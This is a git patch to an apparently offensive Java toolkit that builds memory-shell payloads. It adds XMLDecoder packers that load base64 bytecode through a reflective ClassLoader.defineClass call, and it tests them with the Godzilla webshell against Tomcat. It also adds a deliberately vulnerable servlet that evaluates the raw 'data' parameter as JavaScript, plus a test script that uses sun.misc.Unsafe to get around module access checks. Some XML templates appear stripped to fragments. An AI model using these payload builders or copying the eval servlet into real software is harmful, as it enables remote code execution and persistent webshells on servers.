From 82cdbab634319d8fd3496ab1372d984133222e9b Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 22 Jul 2025 20:40:02 +0800 Subject: [PATCH] feat: support XMLDecoderDefineClass packer --- .../integration/ShellAssertionTool.java | 2 +- .../Tomcat8DeserializeContainerTest.java | 3 +- .../com/reajason/javaweb/packer/Packers.java | 4 ++ .../XMLDecoderDefineClassPacker.java | 45 ++++++++++++++++ .../packer/xmldecoder/XMLDecoderPacker.java | 21 +------- .../XMLDecoderScriptEnginePacker.java | 28 ++++++++++ .../src/test/java/XmlDecoderServletTest.java | 20 ++++++- vul/vul-webapp-expression/build.gradle.kts | 5 +- vul/vul-webapp-jakarta/build.gradle.kts | 14 +++-- .../java/jakarta/ScriptEngineServlet.java | 27 ++++++++++ .../src/main/webapp/WEB-INF/web.xml | 9 ++++ .../java/jakarta/ScriptEngineServletTest.java | 52 +++++++++++++++++++ vul/vul-webapp/build.gradle.kts | 6 +++ 13 files changed, 207 insertions(+), 29 deletions(-) create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java create mode 100644 vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java create mode 100644 vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java index 6d3fe67f..fbc77e0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java @@ -346,7 +346,7 @@ public class ShellAssertionTool { case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content); case HessianDeserialize -> VulTool.postData(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content); - case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content); + case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content); case Base64 -> VulTool.postData(url + "/b64", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index 39f492ff..f7c5654c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -51,7 +51,8 @@ public class Tomcat8DeserializeContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder) + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass) ); } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 888285d6..7be10bb1 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -41,7 +41,9 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; +import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; +import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker; import lombok.Getter; import java.util.List; @@ -112,6 +114,8 @@ public enum Packers { Velocity(new VelocityPacker()), JinJava(new JinJavaPacker()), XMLDecoder(new XMLDecoderPacker()), + XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class), + XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class), /** * Java 反序列化打包器 diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java new file mode 100644 index 00000000..4bf272ce --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderDefineClassPacker.java @@ -0,0 +1,45 @@ +package com.reajason.javaweb.packer.xmldecoder; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; + +/** + * @author ReaJason + * @since 2025/7/22 + */ +public class XMLDecoderDefineClassPacker implements Packer { + String template = "\n" + + " \n" + + " {{base64Str}}>\n" + + " \n" + + " java.lang.ClassLoader\n" + + " \n" + + " \n" + + " defineClass\n" + + " \n" + + " [B\n" + + " int\n" + + " int\n" + + " \n" + + " true\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " {{byteCodeLength}}\n" + + " \n" + + " \n" + + " \n" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + return template + .replace("{{base64Str}}", config.getClassBytesBase64Str()) + .replace("{{byteCodeLength}}", String.valueOf(config.getClassBytes().length)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java index 96edb707..9c068bca 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderPacker.java @@ -1,28 +1,11 @@ package com.reajason.javaweb.packer.xmldecoder; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2025/7/22 */ -public class XMLDecoderPacker implements Packer { - String template = "\n" + - " \n" + - " \n" + - " js\n" + - " \n" + - " {{script}}\n" + - " \n" + - " \n" + - " \n" + - ""; +public class XMLDecoderPacker implements AggregatePacker { - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java new file mode 100644 index 00000000..2a324bf5 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/xmldecoder/XMLDecoderScriptEnginePacker.java @@ -0,0 +1,28 @@ +package com.reajason.javaweb.packer.xmldecoder; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2025/7/22 + */ +public class XMLDecoderScriptEnginePacker implements Packer { + String template = "\n" + + " \n" + + " \n" + + " js\n" + + " \n" + + " {{script}}\n" + + " \n" + + " \n" + + " \n" + + ""; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngine.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java index 056245c7..f338fe7f 100644 --- a/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java +++ b/vul/vul-webapp-deserialize/src/test/java/XmlDecoderServletTest.java @@ -2,7 +2,6 @@ import org.junit.jupiter.api.Test; import java.beans.XMLDecoder; import java.io.ByteArrayInputStream; -import java.util.Base64; /** * @author ReaJason @@ -32,8 +31,25 @@ class XmlDecoderServletTest { " \n" + " \n" + ""; + String xml2 = "\n" + + " \n" + + " aGVsbG8K>\n" + + " \n" + + " java.lang.ClassLoader\n" + + " \n" + + " \n" + + " defineClass\n" + + " \n" + + " [B\n" + + " int\n" + + " int\n" + + " \n" + + " true\n" + + " \n" + + " \n" + + ""; try { - ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes()); + ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes()); XMLDecoder xmlDecoder = new XMLDecoder(inputStream); xmlDecoder.readObject(); xmlDecoder.close(); diff --git a/vul/vul-webapp-expression/build.gradle.kts b/vul/vul-webapp-expression/build.gradle.kts index c3b3eaa0..53ef6d3b 100644 --- a/vul/vul-webapp-expression/build.gradle.kts +++ b/vul/vul-webapp-expression/build.gradle.kts @@ -30,10 +30,11 @@ dependencies { implementation("org.springframework:spring-expression:4.3.0.RELEASE") providedCompile("de.odysseus.juel:juel-api:2.2.7") providedCompile("javax.servlet:javax.servlet-api:3.1.0") - testImplementation(platform("org.junit:junit-bom:5.11.4")) - testImplementation("org.junit.jupiter:junit-jupiter") + testImplementation(libs.junit.jupiter) + testRuntimeOnly(libs.junit.platform.launcher) } tasks.test { useJUnitPlatform() } + diff --git a/vul/vul-webapp-jakarta/build.gradle.kts b/vul/vul-webapp-jakarta/build.gradle.kts index 0d7995fe..84223106 100644 --- a/vul/vul-webapp-jakarta/build.gradle.kts +++ b/vul/vul-webapp-jakarta/build.gradle.kts @@ -4,14 +4,20 @@ plugins { java { toolchain { - languageVersion = JavaLanguageVersion.of(8) + languageVersion = JavaLanguageVersion.of(11) } - sourceCompatibility = JavaVersion.VERSION_1_8 - targetCompatibility = JavaVersion.VERSION_1_8 + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 } dependencies { implementation("commons-fileupload:commons-fileupload:1.5") implementation("commons-beanutils:commons-beanutils:1.9.3") providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0") -} \ No newline at end of file + testImplementation(libs.junit.jupiter) + testRuntimeOnly(libs.junit.platform.launcher) +} + +tasks.test { + useJUnitPlatform() +} diff --git a/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java b/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java new file mode 100644 index 00000000..0f274523 --- /dev/null +++ b/vul/vul-webapp-jakarta/src/main/java/jakarta/ScriptEngineServlet.java @@ -0,0 +1,27 @@ +package jakarta; + +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class ScriptEngineServlet extends HttpServlet { + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + String data = req.getParameter("data"); + try { + Object eval = new ScriptEngineManager().getEngineByName("js").eval(data); + resp.getWriter().println(eval.toString()); + } catch (ScriptException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index ecf4dc45..0f308b8f 100644 --- a/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -45,6 +45,15 @@ /b64 + + js + jakarta.ScriptEngineServlet + + + js + /js + + empty jakarta.EmptyFilter diff --git a/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java b/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java new file mode 100644 index 00000000..8d0a64ab --- /dev/null +++ b/vul/vul-webapp-jakarta/src/test/java/jakarta/ScriptEngineServletTest.java @@ -0,0 +1,52 @@ +package jakarta; + +import org.junit.jupiter.api.Test; + +import javax.script.ScriptEngineManager; + +/** + * @author ReaJason + * @since 2025/7/22 + */ +class ScriptEngineServletTest { + + @Test + void test() throws Exception { + System.out.println(System.getProperty("java.version")); + System.out.println(new ScriptEngineManager().getEngineByName("JavaScript").eval("var className = new java.lang.Exception().getStackTrace()[0].getClassName();" + + "var clazz = java.lang.Class.forName(className);" + + "print(clazz.getSuperclass());" + + " var unsafe = null;\n" + + " var rawModule = null;\n" + + " var offset = 48;\n" + + " var getAndSetObjectM = null;\n" + + " try {\n" + + " var unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\");\n" + + " var unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" + + " unsafeField.setAccessible(true);\n" + + " unsafe = unsafeField.get(null);\n" + + " rawModule = java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []);\n" + + "print(rawModule);" + + " var module = java.lang.Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, []);\n" + + "print(module);" + + " var objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" + + " offset = objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"));\n" + + " getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, java.lang.Long.TYPE, java.lang.Object.class);\n" + + " getAndSetObjectM.invoke(unsafe, clazz.getSuperclass(), offset, module);\n" + + "print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());" + + "print(java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []));" + + " } catch (ignored) {\n" + + "ignored.printStackTrace();\n" + + " }" + + "var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass());" + + "var clsString = java.lang.Class.forName(\"java.lang.String\");" + + "var clsInt = java.lang.Integer.TYPE;" + + "print(new java.lang.Exception().getStackTrace()[0].getClassName());" + + "print(new java.lang.Exception().getStackTrace()[0].getClassName());" + + "print(new java.lang.Exception().getStackTrace()[0].getClassName());" + + "var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsString, clsByteArray, clsInt, clsInt]);" + + "defineClass.setAccessible(true);" + ) + ); + } +} \ No newline at end of file diff --git a/vul/vul-webapp/build.gradle.kts b/vul/vul-webapp/build.gradle.kts index 5049585c..aa4f9043 100644 --- a/vul/vul-webapp/build.gradle.kts +++ b/vul/vul-webapp/build.gradle.kts @@ -14,4 +14,10 @@ dependencies { implementation("commons-fileupload:commons-fileupload:1.3.3") implementation("commons-beanutils:commons-beanutils:1.9.2") providedCompile("javax.servlet:servlet-api:2.5") + testImplementation(libs.junit.jupiter) + testRuntimeOnly(libs.junit.platform.launcher) +} + +tasks.test { + useJUnitPlatform() }